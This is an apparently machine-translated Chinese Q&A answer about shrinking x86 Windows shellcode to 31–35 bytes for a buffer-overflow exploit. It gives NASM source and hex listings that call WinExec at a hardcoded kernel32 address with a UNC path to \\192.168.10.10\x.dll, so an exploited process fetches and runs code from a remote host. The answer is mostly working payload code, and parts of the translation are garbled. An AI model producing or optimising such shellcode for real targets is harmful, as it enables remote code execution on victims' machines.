在再次查看问题之后,您的实际问题是关于将来自目标系统中的已知地址的运行时变量 C 字符串连接起来。喜欢sprintf(buf, '\\%s\x.dll', 0x00xxxxxx)
。
(实际上它实际上是一个已知的常数长度和值,而您只是试图通过复制它来保存有效负载大小。)更新,请参阅下面的35 字节版本,将整个字符串硬编码在有效负载中,以及31 -byte 版本,围绕字符串构建\\...\x.dll
字符串而不是复制。
复制少量数据很难。x86 指令对操作码和数据的寻址模式(寄存器或内存)采用代码大小,除非具有隐式操作数的指令,如stos
or movsb
, or push
。甚至那些仍然使用字节作为操作码。重复的单字节元素很难利用。在大范围内,如果您有编写解压缩器的空间,则可以包括游程编码甚至霍夫曼编码。但是,当您的数据不超过几条指令时,这一切都只是这个答案最后一部分中的小技巧。
但也许有效地硬编码它可以足够小,无需从已知地址读取 13 字节 IP 地址(在寄存器中生成至少需要 7 个字节,mov eax, imm32
以not eax
避免立即出现 0 个字节)
在有效负载中硬编码固定字符串的两种方法
在 32 位模式下,repeatpush imm32
将在堆栈上建立一个任意长度的字符串(当然,以相反的顺序)。
首先推送一个异或零寄存器以获取一个以 0 结尾的 C 字符串。您的文字字符串是纯文本,因此我认为除此之外没有任何理由担心零字节。但是如果你这样做了,用填充字符填充并用你的零寄存器中的字节存储覆盖它。
如果它自然不是 4 字节的倍数,您有时可以扩展\
为\\
或\\\
或\.\
在路径中。或push imm8
用于最后一个字符(您首先推送),同时免费推送 3 个字节的零。(假设你的字符是 1..127,所以符号扩展产生零而不是 0xFF)。对于这种情况,WinExec 在空格上进行拆分,因此push ' '
可以推送一个空格 + 终止 0 个字节。
和/或如果不需要堆栈的 4 字节对齐,则push word imm16
对最后 2 个字节的数据使用 4 个字节(操作数大小前缀 + 操作码 + 2 个字节的数据 = 4 个字节的代码)。
有效负载大小的开销是push
每 4 个字符串字节 1 个操作码字节,加上终止符,字符串大小可能填充到 4 字节的倍数。
另一个主要选项是将字符串作为文字数据包含在有效负载之后。
...
jmp push_string_address
back_from_call:
;; pop eax ; or just leave the string address on the stack
...
push_string_address:
call back_from_call ; pushes the address of the end of the instruction and jumps
db "\\<HARD CODED ADDRESS REFERENCE HERE>\x.dll" ;, 0
; terminating zero byte in the target system will be there from its strcpy
总开销:2 字节jmp rel8
+ 5 字节call rel32
。+ 1 字节pop reg
,如果你确实弹出它而不是将它作为 32 位调用约定中的 arg 留在堆栈中。
必须是向后的call
,所以 rel32 的高字节是FF
,而不是00
正位移。
在 64 位模式下,您可以使用 RIP 相对寻址来轻松避免有问题的字节,甚至可以根据需要避免FF
字节。但是 jmp/call 其实还是比较紧凑的。
针对您的情况比较两种方式:
我看不到你在哪里 0 终止你的字符串。在"cmd.exe "
您开始的示例中,空间之后的尾随垃圾仍然会运行cmd.exe
,但使用 args,直到任何地方的堆栈上都有一个 0 字节。
这里传入 EBP 底部的任何非零字节都将紧跟.exe
在字符串中。
但是所有的东西ebp
都是浪费空间。 WinExec
需要 2 个参数:一个指针和一个整数。整数显然不在乎它是否超出了作为 GUI 窗口行为代码的范围,因此如果字符串的前 4 个字节也是UINT uCmdShow
参数,则它很好。(显然,该函数在读取字符串之前不使用该 arg 作为暂存空间,或者根本不使用)。保存 EBP 的预缓冲区溢出值或设置“堆栈帧”根本没有任何好处。
该字符串完美地分解为 4 字节块 + 一个 1 字节,这让我们可以廉价地获得终止符:
\\19
| 2.16
| 8.10
| .10\
| x.dl
|l
这是 NASM source,其中'x.dl'
是一个 32 位常量,按该顺序在内存中生成字节。(与 MASM 不同)。NASM 仅将反斜杠作为反引号字符串中的 C 样式转义处理;单引号和双引号是等价的。
;;; NASM syntax (remove the "2 bytes" counts from the start of each line)
BITS 32
2 bytes push 'l' ; 'l\0\0\0'
5 bytes push 'x.dl'
5 bytes push '.10\'
5 bytes push '8.10'
5 bytes push '2.16'
5 bytes push '\\19'
; 27 bytes to construct the string
;; ESP points to the data we just pushed = 0-terminated string
1 byte push esp ; pushes the old value: pointer to the string
b8 c7 93 c2 77 mov eax,0x77c293c7 ; kernel32.WinExec
ff d0 call eax
总计:35 个字节,无论是上方(推送)还是下方(jmp/调用)
NASM 列表来自nasm -l/dev/stdout foo.asm
(创建 shellcode 的平面二进制文件,准备 hexdump 到 C 字符串)。
1 bits 32
2 top:
3 00000000 EB07 jmp push_string_address
4 back_from_call:
5 ;; pop edi ; or just leave the string address on the stack
6
7 00000002 B8C793C277 mov eax,0x77c293c7 ; kernel32.WinExec
8 00000007 FFD0 call eax
9
10 push_string_address:
11 00000009 E8F4FFFFFF call back_from_call ; pushes the address of the end of the instruction and jumps
12 0000000E 5C5C3139322E313638- db "\\192.168.10.10\x.dll"
;, 0
12 00000017 2E31302E31305C782E-
12 00000020 646C6C
13 ; terminating zero byte in the target system will be there from the strcpy we overflowed
(00000023 23 size: db $ - top
是我在底部包含的一行,用于让 NASM 为我计算大小:0x23 = 35 字节)
字符串本身占用 21 个字节,但 jmp + 调用占用 7 个字节。与 6push imm
条指令加上push esp
. 所以我们正处于盈亏平衡点,较长的字符串使用 jmp/call 会更有效。
替代方法:围绕固定部分构建字符串
如果包含 的内存"192.168.10.10"
在可写页面中,我们可以在它之前/之后写入字节以生成我们想要的 C 字符串。
;; build a string around the part we want, version 1 (35 bytes)
string_address equ 0x00abcdef
string_length equ 13 ; strlen("192.168.10.10")
mov edi, -(string_address - 2) ; 5B
neg edi ; 2B EDI points 2 byte before the existing string
mov word [edi], '\\' ; 5B store 2 bytes: prepend \\
mov dword [edi + string_length+2], '\x.d' ; 7B
push 'l'
pop eax ; 'l\0\0\0'
mov ah,al ; 2B copy low byte to 2nd byte
mov [edi + string_length+2 + 4], eax ; 3B append 'll\0\0'
;;; append '\x.dll\0\0'
push edi
mov eax,0x77c293c7 ; kernel32.WinExec
call eax
有趣/令人沮丧的是,这也是 0x23 = 35 字节!!!
我觉得应该有一种更有效的方法来写入字符串的结尾。push/pop + mov 复制低字节感觉很多。
或者我可以用 5 字节sub
或xor eax, imm32
. (没有 ModRM 字节的特殊 EAX-only 编码)。这可以在机器代码中没有任何内容的情况下产生零。
我看到了另一种通过移动 EDI 来节省字节的方法,并利用\
出现多个位置的冗余,使用stosb
/stosd
来附加 AL 或 EAX。它节省了2 4 个字节。(请参阅“版本2”答案的先前版本)
迄今为止最好的:31 个字节。(NASM列表:机器码+源码)
;; build a string around the part we want, version 3 (31 bytes)
;; Assumes DF=0 when it runs, which is guaranteed by the calling convention
;; if we got here from a ret in compiler-generated code
1 bits 32
2 top:
3 str_address equ 0x00abcdef
4 str_length equ 13 ; strlen("192.168.10.10")
5
6 00000000 BF133254FF mov edi, -(str_address - 2) ; 5B
7 00000005 F7DF neg edi ; 2B EDI points 2 byte before the existing string
8 00000007 57 push edi ; push function arg now, before modifying EDI
9
10 00000008 B85C782E64 mov eax, '\x.d' ; low byte = backslash is reusable
11 0000000D AA stosb ; 1B *edi++ = AL '\'
12 0000000E AA stosb ; 1B *edi++ = AL '\'
14 ;;; we've now prepended \ ;;; EDI is pointing at the start of the original string
15
16 0000000F 83C70D add edi, str_length ; point EDI past the end, where we want to write more
17 00000012 AB stosd ; 1B *edi = eax; edi+=4; append '\x.d'
18 00000013 6A6C push 'l'
19 00000015 58 pop eax ; 'l\0\0\0' in a reg, constructed in 3 bytes
20 00000016 AA stosb ; append 'l'
21 00000017 AB stosd ; append 'l\0\0\0'
22 ;;; append '\x.dll\0\0\0'
23
24 00000018 B8C793C277 mov eax,0x77c293c7 ; kernel32.WinExec
25 0000001D FFD0 call eax
31 字节
(使用 生成的 NASM 列表nasm foo.asm -l/dev/stdout | cut -b -30,$((30+10))-
。您可以删除每行的前 32 个字节以恢复原始源代码,<foo.lst cut -b 32- > foo.asm
以便您自己组装它。)
所有这些都未经测试。大小计数是正确的(主要来自 NASM 计算它),除了推送版本。
当然,我错过了更多的储蓄空间。
或者可能存在需要额外字节来修复的错误,或者不同的打高尔夫球。
进一步的想法:EDI 的最高字节已知为零。也许一个 4 字节的存储在某个时候可以得到一个零然后覆盖之前的字节?
我想知道call far ptr16:32
使用硬编码的段描述符(假设我们知道 Windows 使用什么作为用户空间值cs
)是否会小于 mov/call eax?否:opcode + 4byte absolute addr + 2byte segment
= 7 个字节,与 5-byte mov
+ 2-bytecall eax
从未知 EIP 到达绝对地址相同(因此我们不能使用 5-byte call rel32
)。
有关更多代码大小优化的一般想法,请参阅https://codegolf.stackexchange.com/questions/132981/tips-for-golfing-in-x86-x64-machine-code